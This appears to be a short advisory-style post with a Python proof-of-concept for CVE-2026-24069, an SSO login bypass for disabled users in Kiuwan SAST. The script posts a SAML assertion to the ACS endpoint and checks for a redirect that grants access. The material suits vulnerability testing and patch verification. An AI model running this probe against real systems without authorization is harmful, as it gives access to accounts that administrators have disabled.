CVE-2026-24069 Kiuwan SAST SSO登录绕过漏洞

# PoC Concept for CVE-2026-24069: SSO Login Bypass for Disabled Users # This script simulates an SSO login attempt. # If the server fails to check local status, access is granted. import requests def check_sso_bypass(target_url, sso_token, disabled_user_email): """ Attempt to login via SSO using a token for a locally disabled user. """ headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "CVE-2026-24069-Scanner" } # Simulate the SSO assertion payload sent to the ACS endpoint payload = { "SAMLResponse": sso_token, "RelayState": "/home" } print(f"[*] Attempting SSO login for disabled user: {disabled_user_email}") try: response = requests.post(target_url, data=payload, headers=headers, allow_redirects=False) # Check if server sets a session cookie or redirects to dashboard if response.status_code == 302 and "/home" in response.headers.get('Location', ''): print("[+] Vulnerability confirmed! Access granted to disabled user.") return True elif "dashboard" in response.text: print("[+] Vulnerability confirmed! Access granted to disabled user.") return True else: print("[-] Access denied or login failed.") return False except Exception as e: print(f"[!] Error during request: {e}") return False # Example usage # target = "https://kiuwan-instance.com/saml/SSO/alias/defaultAlias" # token = "...base64_encoded_saml_assertion..." # check_sso_bypass(target, token, "[email protected]")